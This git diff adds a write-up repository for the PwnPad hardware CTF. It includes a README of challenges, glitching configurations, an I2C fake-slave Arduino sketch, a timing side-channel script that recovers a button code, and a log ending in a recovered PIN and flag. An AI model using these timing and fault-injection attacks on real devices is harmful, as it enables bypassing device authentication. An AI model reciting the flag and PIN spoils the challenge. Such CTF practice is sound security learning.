+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/docs/03_logic.png b/docs/03_logic.png
new file mode 100644
index 0000000..82b6351
--- /dev/null
+++ b/docs/03_logic.png
Binary files differ
diff --git a/docs/03_setup.png b/docs/03_setup.png
new file mode 100644
index 0000000..4b3b988
--- /dev/null
+++ b/docs/03_setup.png
Binary files differ
diff --git a/docs/04_arduino.ino b/docs/04_arduino.ino
new file mode 100644
index 0000000..9fac534
--- /dev/null
+++ b/docs/04_arduino.ino
@@ -0,0 +1,31 @@
+// Minimal I2C slave that ACKs writes at address 0x12
+// Reads and discards incoming bytes so the master write is acknowledged
+#include
+
+const uint8_t SLAVE_ADDR = 0x12; // 18 decimal
+
+void setup() {
+ Wire.begin(SLAVE_ADDR); // start as slave at 0x12
+ Wire.onReceive(onReceive); // handle master write transfers
+ // LED gives a short visual indication of activity
+ pinMode(LED_BUILTIN, OUTPUT);
+ digitalWrite(LED_BUILTIN, LOW);
+}
+
+void loop() {
+ // No active work required in loop for this simple slave
+ delay(200);
+}
+
+// Called when the master writes to this slave
+void onReceive(int bytes) {
+ // Read and discard all incoming bytes so the master sees ACKs
+ while (Wire.available()) {
+ (void)Wire.read();
+ }
+
+ // Short LED flash to indicate a received transfer
+ digitalWrite(LED_BUILTIN, HIGH);
+ delay(40);
+ digitalWrite(LED_BUILTIN, LOW);
+}
\ No newline at end of file
diff --git a/docs/04_logic_01.png b/docs/04_logic_01.png
new file mode 100644
index 0000000..11e3729
--- /dev/null
+++ b/docs/04_logic_01.png
Binary files differ
diff --git a/docs/04_logic_02.png b/docs/04_logic_02.png
new file mode 100644
index 0000000..0f8368e
--- /dev/null
+++ b/docs/04_logic_02.png
Binary files differ
diff --git a/docs/04_setup.png b/docs/04_setup.png
new file mode 100644
index 0000000..41c193a
--- /dev/null
+++ b/docs/04_setup.png
Binary files differ
diff --git a/docs/05_GoB.png b/docs/05_GoB.png
new file mode 100644
index 0000000..24041fd
--- /dev/null
+++ b/docs/05_GoB.png
Binary files differ
diff --git a/docs/05_setup_01.png b/docs/05_setup_01.png
new file mode 100644
index 0000000..bed110a
--- /dev/null
+++ b/docs/05_setup_01.png
Binary files differ
diff --git a/docs/05_setup_02.png b/docs/05_setup_02.png
new file mode 100644
index 0000000..82f24d7
--- /dev/null
+++ b/docs/05_setup_02.png
Binary files differ
diff --git a/docs/07_GoB.png b/docs/07_GoB.png
new file mode 100644
index 0000000..34dc284
--- /dev/null
+++ b/docs/07_GoB.png
Binary files differ
diff --git a/docs/07_GoB_config.py b/docs/07_GoB_config.py
new file mode 100644
index 0000000..0ee78c6
--- /dev/null
+++ b/docs/07_GoB_config.py
@@ -0,0 +1,44 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', True], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+### name, enabled, string to match ###
+conditions = [
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/07_logic.png b/docs/07_logic.png
new file mode 100644
index 0000000..743ca35
--- /dev/null
+++ b/docs/07_logic.png
Binary files differ
diff --git a/docs/07_setup.png b/docs/07_setup.png
new file mode 100644
index 0000000..a5c5fc3
--- /dev/null
+++ b/docs/07_setup.png
Binary files differ
diff --git a/docs/08_GoB.png b/docs/08_GoB.png
new file mode 100644
index 0000000..242458c
--- /dev/null
+++ b/docs/08_GoB.png
Binary files differ
diff --git a/docs/08_GoB_config.py b/docs/08_GoB_config.py
new file mode 100644
index 0000000..1185630
--- /dev/null
+++ b/docs/08_GoB_config.py
@@ -0,0 +1,108 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', False], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ functions.run_output_low(0, 3000)
+ functions.run_output_low(1, 3000)
+ functions.run_output_low(2, 3000)
+ functions.run_output_low(3, 3000)
+
+def button_ok():
+ functions.run_output_high(0, 15000000) # Can also run_output_low() if needed
+ functions.set_trigger_value(0, True)
+ functions.run_output_low(0, 3000)
+
+ last_state = functions.get_trigger_value(0)
+ start_time = time.time()
+
+ while True:
+ current_state = functions.get_trigger_value(0)
+
+ # Detect rising edge: 0 → 1
+ if last_state == 0 and current_state == 1:
+ functions.set_trigger_value(0, False)
+ functions.add_text("[code check complete]")
+ break
+
+ # Exit if 1 second has elapsed
+ if time.time() - start_time >= 1.0:
+ functions.add_text("[timeout: no input detected within 1 second]")
+ break
+
+ last_state = current_state
+ time.sleep(0.01) # Polling interval (10 ms)
+
+
+def button_dash():
+ functions.run_output_high(1, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(1, 3000)
+
+def button_space():
+ functions.run_output_high(2, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(2, 3000)
+
+def button_dot():
+ functions.run_output_high(3, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(3, 3000)
+
+
+def echo_trigger_state():
+ for channel in range(8):
+ state = functions.get_trigger_value(channel)
+ if state == 1:
+ functions.add_text(f"Channel {channel}: HIGH")
+ else:
+ functions.add_text(f"Channel {channel}: LOW")
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/08_logic.png b/docs/08_logic.png
new file mode 100644
index 0000000..e9e7189
--- /dev/null
+++ b/docs/08_logic.png
Binary files differ
diff --git a/docs/09_GoB.png b/docs/09_GoB.png
new file mode 100644
index 0000000..c772a3a
--- /dev/null
+++ b/docs/09_GoB.png
Binary files differ
diff --git a/docs/09_GoB_config.py b/docs/09_GoB_config.py
new file mode 100644
index 0000000..94c453d
--- /dev/null
+++ b/docs/09_GoB_config.py
@@ -0,0 +1,155 @@
+######
+# LEAVE THESE IMPORTS!
+######
+from arduinIO import ArduinoController
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+######
+# arduinIO values
+######
+ARDIO_PORT = "/dev/ttyACM2"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
+ARDIO_PULSE_DURATION_MS = 300
+
+arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+arduino.connect()
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ['run', False, "", 'find_code'],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ version = arduino.get_version()
+ functions.add_text(f"[INFO] Connected to Arduino: {version}")
+
+ # Configure pins
+ functions.add_text("[INFO] Configuring pin modes...")
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ for pin in ARDIO_OUTPUT_PINS:
+ arduino.set_mode(pin, "OUTPUT")
+ arduino.set_default(pin, "LOW")
+
+ # Display current configuration
+ pinmap = arduino.get_pinmap()
+ functions.add_text(f"[INFO] Pin map: {pinmap}")
+
+
+def button_ok():
+ # Pulse one output pin
+ functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dash():
+ functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_space():
+ functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dot():
+ functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def echo_trigger_state():
+ state = arduino.get_state(ARDIO_INPUT_PIN)
+ functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
+
+def find_code():
+ """
+ Discover a five-digit code by sending candidate pulses and measuring the
+ interval from sending OK (pin 8) until input goes HIGH using wait_for().
+
+ For each digit:
+ - Send one pulse for previously found digits.
+ - Send repeated pulses of the candidate digit to fill 5 pulses.
+ - Pulse OK (pin 8) to trigger the device.
+ - Measure duration using wait_for() for input HIGH.
+ - Select candidate with the longest LOW duration before HIGH.
+ """
+ candidate_pins = [9, 10, 11]
+ code_sequence = []
+ pin_to_symbol = {8: "OK", 9: "Space", 10: ".", 11: "-"}
+
+ button_ok()
+ functions.add_text("[INFO] Pulsing output pin 8 to reset device...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+ functions.add_text("[INFO] Starting full code discovery sequence...")
+
+ for digit_index in range(5):
+ functions.add_text(f"[INFO] Finding digit {digit_index + 1}...")
+ results = {}
+
+ for test_pin in candidate_pins:
+ # Build sequence: previously found digits + candidate repeated
+ sequence = code_sequence.copy()
+ remaining_pulses = 5 - len(sequence)
+ sequence += [test_pin] * remaining_pulses
+ symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
+ functions.add_text(f"[TEST] Testing pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
+ f"sequence: {' '.join(symbol_seq)} ...")
+
+ # Send sequence pulses (without timing)
+ for pin in sequence:
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.1)
+
+ # Start timer and pulse OK (pin 8)
+ start_time = time.time()
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+
+ # Wait for input to go HIGH and measure duration
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
+ end_time = time.time()
+
+ # Use the Arduino-provided LOW duration, fallback to timer if needed
+ duration = result.get("duration_ms", int((end_time - start_time) * 1000))
+ functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.")
+
+ results[test_pin] = duration
+ time.sleep(0.3)
+
+ # Select candidate with longest duration (correct digit)
+ correct_pin = max(results, key=results.get)
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
+ f"{pin_to_symbol.get(correct_pin)}")
+ code_sequence.append(correct_pin)
+
+ translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
+ functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
+ functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
+
+ return code_sequence, translated_sequence
\ No newline at end of file
diff --git a/docs/09_arduino.ino b/docs/09_arduino.ino
new file mode 100644
index 0000000..9d7d09b
--- /dev/null
+++ b/docs/09_arduino.ino
@@ -0,0 +1,352 @@
+/*
+=====================================================================
+ARDUINO SERIAL PIN CONTROL AND MONITORING FIRMWARE
+=====================================================================
+Version: 1.3.0
+Author: [Your Name]
+Board Support: UNO, NANO, MEGA2560, LEONARDO (auto-detected)
+
+DESCRIPTION
+---------------------------------------------------------------------
+This firmware enables external control and monitoring of Arduino
+digital pins through a serial interface. It is designed for
+integration with Python or similar host software.
+
+The firmware supports dynamic pin-mode configuration, runtime
+output control, input monitoring, duration measurement, and pin-map
+query. All commands and responses use ASCII text terminated by '\n'.
+
+=====================================================================
+ASCII COMMAND REFERENCE
+=====================================================================
+
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| COMMAND | EXAMPLE REQUEST | EXAMPLE RESPONSE | DESCRIPTION |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| GET_VERSION | GET_VERSION | VERSION:1.3.0 | Returns firmware version to confirm serial communication. |
+| | | | |
+| SET_MODE | SET_MODE:8:OUTPUT | ACK:SET_MODE:8:OUTPUT | Configures a pin as INPUT or OUTPUT dynamically. |
+| | SET_MODE:2:INPUT | ACK:SET_MODE:2:INPUT | |
+| | | | |
+| GET_PINMAP | GET_PINMAP | PINMAP:INPUT:2;OUTPUT:8,9,10,11 | Returns the current input and output pin assignments. |
+| | | | |
+| SET_DEFAULT | SET_DEFAULT:8:HIGH | ACK:SET_DEFAULT:8:HIGH | Sets an output pin to a default state until changed. |
+| | | | |
+| SET_FOR | SET_FOR:9:HIGH:500 | ACK:SET_FOR:9:HIGH:500 | Sets an output pin to a state for a duration (ms). |
+| | | | Automatically reverts afterwards. |
+| | | | |
+| WATCH | WATCH:2 | ACK:WATCH:2 | Begins monitoring an input pin. Reports state changes as: |
+| | | CHANGE:2:HIGH:1421 | - Pin number, new state, and duration since last change. |
+| | | | |
+| GET_STATE | GET_STATE:2 | STATE:2:LOW | Returns current digital state of a specified pin. |
+| | | | |
+| GET_DURATION | GET_DURATION:2 | DURATION:2:1431 | Returns elapsed time since the pin’s last state change. |
+| | | | |
+| WAIT_FOR | WAIT_FOR:2:HIGH | WAIT_RESULT:2:HIGH:1432 | Waits until a pin reaches target state; returns duration. |
+| | | | |
+| ERROR HANDLING | UNKNOWN COMMAND | ERROR:UNKNOWN_COMMAND | Returned if a command is unrecognised or malformed. |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+
+=====================================================================
+OPERATIONAL NOTES
+---------------------------------------------------------------------
+- Baud rate: 115200
+- Line termination: newline ('\n')
+- States are HIGH or LOW
+- Durations in milliseconds
+- All commands and responses are ASCII
+
+=====================================================================
+*/
+
+#include
+
+// ------------------------------------------------------------------
+// Board-specific pin range detection
+// ------------------------------------------------------------------
+#if defined(ARDUINO_AVR_UNO) || defined(ARDUINO_AVR_NANO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#elif defined(ARDUINO_AVR_MEGA2560)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 53;
+#elif defined(ARDUINO_AVR_LEONARDO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#else
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#endif
+
+const int NUM_PINS = LAST_PIN - FIRST_PIN + 1;
+
+// ------------------------------------------------------------------
+// Dynamic role and state tracking
+// ------------------------------------------------------------------
+bool isInput[NUM_PINS];
+bool isOutput[NUM_PINS];
+bool watching[NUM_PINS];
+unsigned long lastChangeTime[NUM_PINS];
+int lastState[NUM_PINS];
+
+// ------------------------------------------------------------------
+// Setup
+// ------------------------------------------------------------------
+void setup() {
+ Serial.begin(115200);
+
+ // Default: all usable pins configured as OUTPUT and LOW
+ for (int i = 0; i < NUM_PINS; i++) {
+ int pin = FIRST_PIN + i;
+ pinMode(pin, OUTPUT);
+ digitalWrite(pin, LOW);
+ isInput[i] = false;
+ isOutput[i] = true;
+ watching[i] = false;
+ lastState[i] = LOW;
+ lastChangeTime[i] = millis();
+ }
+
+ Serial.println("READY");
+}
+
+// ------------------------------------------------------------------
+// Main loop
+// ------------------------------------------------------------------
+void loop() {
+ handleSerial();
+ monitorWatchedPins();
+}
+
+// ------------------------------------------------------------------
+// Serial command processing
+// ------------------------------------------------------------------
+void handleSerial() {
+ static String inputString = "";
+ while (Serial.available()) {
+ char c = Serial.read();
+ if (c == '\n') {
+ inputString.trim();
+ processCommand(inputString);
+ inputString = "";
+ } else {
+ inputString += c;
+ }
+ }
+}
+
+// ------------------------------------------------------------------
+// Command dispatcher
+// ------------------------------------------------------------------
+void processCommand(String cmd) {
+ if (cmd == "GET_VERSION") {
+ Serial.println("VERSION:1.3.0");
+ } else if (cmd == "GET_PINMAP") {
+ handleGetPinmap();
+ } else if (cmd.startsWith("SET_MODE")) {
+ handleSetMode(cmd);
+ } else if (cmd.startsWith("SET_DEFAULT")) {
+ handleSetDefault(cmd);
+ } else if (cmd.startsWith("SET_FOR")) {
+ handleSetFor(cmd);
+ } else if (cmd.startsWith("WATCH")) {
+ handleWatch(cmd);
+ } else if (cmd.startsWith("GET_STATE")) {
+ handleGetState(cmd);
+ } else if (cmd.startsWith("GET_DURATION")) {
+ handleGetDuration(cmd);
+ } else if (cmd.startsWith("WAIT_FOR")) {
+ handleWaitFor(cmd);
+ } else {
+ Serial.println("ERROR:UNKNOWN_COMMAND");
+ }
+}
+
+// ------------------------------------------------------------------
+// Command handlers
+// ------------------------------------------------------------------
+
+// --- SET_MODE:PIN:MODE ------------------------------------------------
+void handleSetMode(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String mode = cmd.substring(second + 1);
+
+ if (pin < FIRST_PIN || pin > LAST_PIN) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+
+ int index = pin - FIRST_PIN;
+ if (mode == "INPUT") {
+ pinMode(pin, INPUT);
+ isInput[index] = true;
+ isOutput[index] = false;
+ } else if (mode == "OUTPUT") {
+ pinMode(pin, OUTPUT);
+ isInput[index] = false;
+ isOutput[index] = true;
+ } else {
+ Serial.println("ERROR:INVALID_MODE");
+ return;
+ }
+
+ Serial.print("ACK:SET_MODE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(mode);
+}
+
+// --- GET_PINMAP -------------------------------------------------------
+void handleGetPinmap() {
+ String response = "PINMAP:INPUT:";
+ bool firstInput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isInput[i]) {
+ if (!firstInput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstInput = false;
+ }
+ }
+ response += ";OUTPUT:";
+ bool firstOutput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isOutput[i]) {
+ if (!firstOutput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstOutput = false;
+ }
+ }
+ Serial.println(response);
+}
+
+// --- SET_DEFAULT:PIN:STATE --------------------------------------------
+void handleSetDefault(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1);
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ Serial.print("ACK:SET_DEFAULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state ? "HIGH" : "LOW");
+}
+
+// --- SET_FOR:PIN:STATE:DURATION ---------------------------------------
+void handleSetFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ int third = cmd.indexOf(':', second + 1);
+ if (first == -1 || second == -1 || third == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1, third);
+ unsigned long duration = cmd.substring(third + 1).toInt();
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ delay(duration);
+ digitalWrite(pin, state ? LOW : HIGH);
+
+ Serial.print("ACK:SET_FOR:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(state ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WATCH:PIN ---------------------------------------------------------
+void handleWatch(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS || !isInput[index]) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+ watching[index] = true;
+ Serial.print("ACK:WATCH:");
+ Serial.println(pin);
+}
+
+// --- GET_STATE:PIN -----------------------------------------------------
+void handleGetState(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int state = digitalRead(pin);
+ Serial.print("STATE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state == HIGH ? "HIGH" : "LOW");
+}
+
+// --- GET_DURATION:PIN --------------------------------------------------
+void handleGetDuration(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS) return;
+ unsigned long duration = millis() - lastChangeTime[index];
+ Serial.print("DURATION:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WAIT_FOR:PIN:STATE ------------------------------------------------
+void handleWaitFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+ int pin = cmd.substring(first + 1, second).toInt();
+ String targetStateStr = cmd.substring(second + 1);
+ bool targetState = (targetStateStr == "HIGH");
+ unsigned long startTime = millis();
+ while (digitalRead(pin) != targetState) {
+ delay(1);
+ }
+ unsigned long duration = millis() - startTime;
+ Serial.print("WAIT_RESULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(targetState ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// ------------------------------------------------------------------
+// Watch monitoring
+// ------------------------------------------------------------------
+void monitorWatchedPins() {
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (watching[i] && isInput[i]) {
+ int pin = FIRST_PIN + i;
+ int currentState = digitalRead(pin);
+ if (currentState != lastState[i]) {
+ unsigned long now = millis();
+ unsigned long duration = now - lastChangeTime[i];
+ lastChangeTime[i] = now;
+ lastState[i] = currentState;
+ Serial.print("CHANGE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(currentState == HIGH ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+ }
+ }
+ }
+}
diff --git a/docs/09_header_pins.png b/docs/09_header_pins.png
new file mode 100644
index 0000000..6b970b5
--- /dev/null
+++ b/docs/09_header_pins.png
Binary files differ
diff --git a/docs/09_logic_01.png b/docs/09_logic_01.png
new file mode 100644
index 0000000..ee2983b
--- /dev/null
+++ b/docs/09_logic_01.png
Binary files differ
diff --git a/docs/09_logic_02.png b/docs/09_logic_02.png
new file mode 100644
index 0000000..ea925d4
--- /dev/null
+++ b/docs/09_logic_02.png
Binary files differ
diff --git a/docs/09_logic_03.png b/docs/09_logic_03.png
new file mode 100644
index 0000000..4270c11
--- /dev/null
+++ b/docs/09_logic_03.png
Binary files differ
diff --git a/docs/09_result.png b/docs/09_result.png
new file mode 100644
index 0000000..69d6d2f
--- /dev/null
